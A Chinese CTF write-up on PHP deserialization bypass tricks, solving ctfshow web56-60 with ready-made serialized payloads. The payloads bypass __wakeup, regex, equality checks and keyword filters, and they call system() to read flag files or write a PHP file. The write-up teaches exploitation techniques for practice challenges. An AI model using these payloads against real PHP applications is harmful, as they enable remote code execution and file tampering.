码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【Web】PHP反序列化的一些trick


    目录

    ①__wakeup绕过

    ②加号绕过正则匹配

    ③引用绕过相等

    ④16进制绕过关键词过滤

    ⑤Exception绕过

    ⑥字符串逃逸


    要中期考试乐(悲)

    ①__wakeup绕过


    反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
    (php5-php5.6.25;php7-php7.0.10)

    ②加号绕过正则匹配

    例题1:web56

    1. $a=new backdoor();
    2. $a->name='system("tac /f*");';
    3. echo serialize($a);
    4. //O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
    5. //O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

     payload:

    data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

    ③引用绕过相等

    例题2:web57

    用&保证password和secret指向相同的内存引用地址

    1. <?php
    2. class login{
    3. public $username='admin';
    4. public $password;
    5. public $secret;
    6. private $code="system('cat /f1ag');";
    7. public function __wakeup(){
    8. $this->secret = file_get_contents("/f1ag");
    9. }
    10. public function check_login(){
    11. if($this->username = 'admin' && $this->password==$this->secret){
    12. eval($this->code);
    13. }
    14. }
    15. }
    16. $a=new login();
    17. $a->password=&$a->secret;
    18. echo urlencode(serialize($a));
    19. //O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D

    payload:

    data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D 

    ④16进制绕过关键词过滤

    反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)

    举例:

    ?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','');";

    当lover被过滤的时候,可以如下绕过

    推荐一个在线平台:

    在线字符串和16进制互转

    ?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','');";

    ⑤Exception绕过

    破坏反序列化结构即可

    例题3:web59

    1. $a=new backdoor();
    2. echo serialize($a);
    3. //O:8:"backdoor":0:{}
    4. //O:8:"backdoor":0:{

    payload:

    data= O:8:"backdoor":0:{

    ⑥字符串逃逸

    例题4:web60

     system->ctfshow(由6变7)

    要逃逸的字符串:

    ";s:1:"a";s:7:"tac /f*";}

    (总长25)

    最终payload:

    m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}

  • 相关阅读:
    深入理解CI/CD流程:改变你的开发生命周期
    【UE虚幻引擎】UE源码版编译、Andorid配置、打包
    Oracle DBlink使用方法
    洛谷P8395 Good Fours and Good Fives
    屏幕视频捕获组件-ByteScout Screen Capturing SDK
    HTML:认识HTML与基本语法的学习
    谁给乡镇夫妻店的数字化铺路?
    IS-IS
    自助点餐系统微信小程序,支持外卖、到店等
    U-Boot初始化及工作流程分析
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134474299
  • 最新文章
  • 【FHE】我们如何实现同态加密推理(八):SiLU 的密文化——两条路径,和一个 8 字节的开关
    SQLcl 中 c/old/new 替换变量为何失效?先定位再替换
    不让模型写作文,直接从它脑子里读答案:Jev 决策在 .NET 的两条路线
    Halo插件:支持GitHub的图床附件策略
    电视投屏界的“一股清流”!SimpleTVCast 6.0.0-beta 抢先体验:无需TV端App,界面大换血!✨
    华三VXLAN集中式网关实战指南:Spine多活网关 + 双活接入(M-LAG)
    软件更好写之后口碑会更重要
    大 O、大 Omega、大 Theta 的区别,O(n) 复杂度是什么意思
    Java标签跳转:一个鲜为人知但却很实用的小技巧
    多智能体系统论文速读
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号